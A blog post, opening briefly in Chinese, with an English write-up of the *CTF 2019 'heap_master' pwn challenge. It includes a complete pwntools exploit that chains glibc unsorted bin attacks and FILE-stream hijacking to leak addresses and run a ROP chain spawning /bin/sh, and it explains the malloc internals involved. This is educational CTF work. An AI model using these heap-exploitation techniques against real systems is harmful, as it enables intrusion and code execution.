近来雨后春笋般冒出的琐事逐渐成为了逃避写blog的借口,或者说搜肠刮肚也找不出几行有价值的文字。
上月看的几部作品除了托尼史塔克的”Love you 3000”以外都记不太清了,应该说在情怀面前其他情节都变成了细枝末节。
以后个人blog上的Writeup尽量都用英文写了,看多了各种日文韩文的资料以后,换位思考一下感觉国际化还是有必要的。
This is a challenage from *CTF 2019 last weekend, a great CTF from sixstar team. For this particular challenge, you could found at least 3 avaliable Writeup (except for this one). The official Writeup here, one from shift-crops, and one from the Balsn Team.
I analyzed all three writeups and personally appreciated the one from Japanese player shift-crops the best. So the following paragraphs will focus on his method and try to clarify some glibc heap attack concepts he used.
The official Writeup and shift-crops’ did a great explanation about reversing process, so I’ll spare that part here. The exploit relays heavily on unsorted bin attack
, and here is a brief description of this technique.
Unsorted bin Attack
1 | // [PRE-CONDITION] |
Graph
1 | UNSORTED_BIN_LIST HEAP |
With unsorted bin attack
, one can write a pointer 0x7ffff7dd1b58 (main_arena+88)
to arbitrary address. In this challenge, we cannot write anything on heap directly, and we don’t have any provided function to leak addresses, the very first step is utilizing unsorted bin attack
to overwrite something around main_arena.
Exploit
I copied the exploit from shift-crops, refactored it a bit and added some comments, seperating the whole exploit into 6 parts.1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158from pwn import *
from FILE import IO_FILE_plus_struct
## https://gist.github.com/hzshang/a13b1c6e44e5b33a65ecaec762b793fe
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']
context.arch = "amd64"
# env = {'LD_PRELOAD' : '/lib/x86_64-linux-gnu/libc.so.6'}
if len(sys.argv) == 1:
p = process('./heap_master1')
elif len(sys.argv) == 3:
p = remote(sys.argv[1], sys.argv[2])
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
def rc(x):
return p.recv(x)
def ru(x):
return p.recvuntil(x)
def se(x):
return p.send(x)
def sl(x):
return p.sendline(x)
def sea(a, b):
return p.sendafter(a, b)
def sla(a, b):
return p.sendlineafter(a, b)
def info_addr(tag, addr):
return p.info(tag + ': {:#x}'.format(addr))
global wait
wait = True
def add(size):
if wait:
ru(">>")
sl("1")
ru(":")
sl(str(size))
else:
sl("1")
sl(str(size))
def edit(offset, content):
if wait:
sla(">>", "2")
sla(":", str(offset))
sla(":", str(len(content)))
sea(":", content)
else:
sl("2")
sl(str(offset))
sl(str(len(content)))
se(content)
def free(offset):
if wait:
ru(">>")
sl("3")
ru(":")
sl(str(offset))
else:
sl("3")
sl(str(offset))
offset_libc_free_hook = libc.symbols['__free_hook']
offset_libc_max_fast = offset_libc_free_hook + 0x48
offset_libc_stdout = libc.symbols['_IO_2_1_stdout_']
# PART1: overwrite global_max_fast to very big value
edit(0x8, p64(0x91))
edit(0x98, p64(0x21))
edit(0xb8, p64(0x21))
# make chunk1 to unsorted bin
free(0x10)
# unsorted bin attack to overwrite global_max_fast
edit(0x18, p16((offset_libc_max_fast-0x10) & ((1<<16)-1)))
add(0x88)
# PART2: overwrite _IO_2_1_stdout_->_IO_read_end to main_arena+88
edit(0x8, p64(0xf1))
edit(0xf8, p64(0x11))
free(0x10)
edit(0x8, p64(0x91))
edit(0x18, p16((offset_libc_stdout+0x10-0x10) & ((1<<16)-1)))
add(0x88)
# PART3: overwirte _IO_2_1_stdout_->_IO_write_base to main_arena+88 and leak addr
wait = False
edit(0x8, p64(0xf1))
free(0x10)
edit(0x8, p64(0x91))
edit(0x18, p16((offset_libc_stdout+0x20-0x10) & ((1<<16)-1)))
add(0x88)
content = ru("=")
addr_heap_base = u64(content[1:9]) - 0x20
info_addr("addr_heap_base", addr_heap_base)
addr_buf_base = u64(content[0x11: 0x19])
info_addr("addr_buf_base", addr_buf_base)
addr_libc_stdout = u64(content[0x19:0x21]) - 0x10
info_addr("addr_libc_stdout", addr_libc_stdout)
libc.address = addr_libc_stdout - offset_libc_stdout
info_addr("addr_libc_base", libc.address)
addr_stack_base = u64(content[0x859: 0x861]) & ~0xf
info_addr("addr_stack_base", addr_stack_base)
# PART4: overwirte _IO_2_1_stdout_->_chain to to main_arena+88, and link mmap segement to it
edit(0x8, p64(0xf1))
free(0x10)
edit(0x8, p64(0x91))
edit(0x18, p64(addr_libc_stdout+0x68-0x10))
gdb.attach(p, gdbcmd)
add(0x88)
edit(0x8, p64(0x191))
edit(0x198, p64(0x11))
free(0x10)
addr_libc_io_str_jmps = libc.symbols['_IO_file_jumps'] + 0xc0
# PART5: write fake file struct at mmap segment
fake_file = IO_FILE_plus_struct()
fake_file._IO_write_ptr = (addr_stack_base-0x2000 - 0x64)/2 + 1
fake_file._IO_buf_end = (addr_stack_base-0x2000 - 0x64)/2
fake_file.vtable = addr_libc_io_str_jmps
fake_file_str = str(fake_file) + p64(libc.symbols['gets'])
edit(0, fake_file_str)
yn = raw_input('shell? (Y/N) >>')
rop = ROP(libc)
if "n" in yn.lower():
edit(0x100, "./flag\x00")
rop.open(addr_buf_base+0x100, 0)
rop.read(3, addr_buf_base+0x200, 0x60)
rop.write(1, addr_buf_base+0x200, 0x100)
else:
edit(0x100, "/bin/sh\x00")
rop.execve(addr_buf_base + 0x100, 0, 0)
# PART6: trigger _IO_flush_all_lockp to call `gets` and rop.
sla(">>", "0")
sl(cyclic(0x1ae8) + str(rop))
p.interactive()
Investigation
After trying the exploit, Some questions poped up in my head:
- Why do we need to change
global_fast_max
beforeunsorted bin attack
? - Why overwritting
_IO_2_1_stdout_->read_end
and_IO_2_1_STDOUT->write_base
can leak so many addresses? - How does
_IO_flush_all_lockp
work?
Q1
To answer this question, I eliminated Part1 in exp, and tried to perform consecutive unsorted bin attack
, with following script:1
2
3
4
5
6
7
8
9
10
11## PART2: overwrite _IO_2_1_stdout_->_IO_read_end to main_arena+88
edit(0x8, p64(0xf1))
edit(0xf8, p64(0x11))
edit(0x108, p64(0x11))
free(0x10)
## PART3: overwirte _IO_2_1_stdout_->_IO_write_end and leak addr
wait = False
edit(0x8, p64(0xf1))
edit(0x18, p16((offset_libc_stdout+0x20-0x10) & ((1<<16)-1)))
add(0x88)
it thown an memory corruption like:1
*** Error in `./heap_master1': malloc(): memory corruption: 0x00007ffff7dd2610 ***
The arena looks like:1
2
3
4
5
6
7
8
9pwndbg> arena
{
mutex = 0,
flags = 1,
fastbinsY = {0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0},
top = 0x555555757020,
last_remainder = 0x0,
bins = {0x30303000, 0x7ffff7dd2600 <_IO_2_1_stdout_>, 0x7ffff7dd1b68 <main_arena+104>...
}
Traced down the source code of malloc
, the error thrown at malloc.c:3405
(version: glibc 2.24)1
2
3
4
5
6
7
8
9//malloc.c:3504
while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av))
{
bck = victim->bk;
if (__builtin_expect (victim->size <= 2 * SIZE_SZ, 0)
|| __builtin_expect (victim->size > av->system_mem, 0))
malloc_printerr (check_action, "malloc(): memory corruption",
chunk2mem (victim), av);
size = chunksize (victim);
if we print the varibale victim
, it is 0x7ffff7dd2600
, which means unsorted_chunks(av)->bk
will extract the value of bins[1] here, for sure this address could not pass the check.
The workaround is use fastbin-freeing mechanism to help us fix arena. The source is located at malloc.c:2982
1
2// malloc.c:2982
while ((old = catomic_compare_and_exchange_val_rel (fb, p, old2)) != old2);
With global_max_fast
overwritten with a large value, fake chunk will be treated as a fastbin chunk, this line of code help us to write bin[1] to fake chunk address. BTW, I patched the string /dev/urandom
to ./test
in prog_init
, so for each run we can have the same mmap address. After fixing bin[1], we can perform unsorted bin attack
on the same fake chunk again.1
2
3
4
5
6
7
8
9pwndbg> arena
{
mutex = 0,
flags = 1,
fastbinsY = {0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0},
top = 0x555555757020,
last_remainder = 0x0,
bins = {0x30303000, 0x30303000, 0x7ffff7dd1b68 <main_arena+104>...
}
As a conclusion, if you somehow want to perform unsorted bin attack
on same chunk many times, you should first use unsorted bin attack
to overwrite global_max_fast
, and then free the fake chunk as a fastbin chunk to fix arena before each unsorted bin attack
.
Q2
When printf
is called, it eventually call _IO_file_xsputs
and then new_do_write
.1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31//fileops.c:526
static
_IO_size_t
new_do_write (_IO_FILE *fp, const char *data, _IO_size_t to_do)
{
_IO_size_t count;
if (fp->_flags & _IO_IS_APPENDING)
/* On a system without a proper O_APPEND implementation,
you would need to sys_seek(0, SEEK_END) here, but is
not needed nor desirable for Unix- or Posix-like systems.
Instead, just indicate that offset (before and after) is
unpredictable. */
fp->_offset = _IO_pos_BAD;
else if (fp->_IO_read_end != fp->_IO_write_base)
{
_IO_off64_t new_pos
= _IO_SYSSEEK (fp, fp->_IO_write_base - fp->_IO_read_end, 1);
if (new_pos == _IO_pos_BAD)
return 0;
fp->_offset = new_pos;
}
count = _IO_SYSWRITE (fp, data, to_do); //HERE
if (fp->_cur_column && count)
fp->_cur_column = _IO_adjust_column (fp->_cur_column - 1, data, count) + 1;
_IO_setg (fp, fp->_IO_buf_base, fp->_IO_buf_base, fp->_IO_buf_base);
fp->_IO_write_base = fp->_IO_write_ptr = fp->_IO_buf_base;
fp->_IO_write_end = (fp->_mode <= 0
&& (fp->_flags & (_IO_LINE_BUF | _IO_UNBUFFERED))
? fp->_IO_buf_base : fp->_IO_buf_end);
return count;
}
When we overwrite _IO_2_1_stdout_->read_end==_IO_2_1_stdout==main_arena+88
, it hit line 22, which is the exact line to dump stuff to stdout, data
is main_arena+88
here and to_do
is 0xb2b
. Since there are plenty of juicy addresses around main_arena, so with this leak, we can defeat ASLR and even get stack address.
Q3
Angleboy first introduce _IO_flush_all_lockp
hijacking in his blog, and here is another post about bypassing the check since 2.24.
Conclusion
I used to consider unsorted bin attack
as kind of weak attack primitive, but it turns out to be super powerful with fsop technique. This challenage is a good example about using multiple unsorted bin attack
to perform fsop and hijack control flow.
Reference
- https://github.com/sixstars/starctf2019/tree/master/pwn-heap_master
- http://shift-crops.hatenablog.com/entry/2019/04/30/131154#hack_me-Pwn-625pt-13-solves
- https://balsn.tw/ctf_writeup/20190427-\*ctf/#heap-master
- https://dangokyo.me/2018/01/20/extra-exploitation-technique-1-_dl_open/
- http://4ngelboy.blogspot.com/2016/10/hitcon-ctf-qual-2016-house-of-orange.html
- https://xz.aliyun.com/t/2411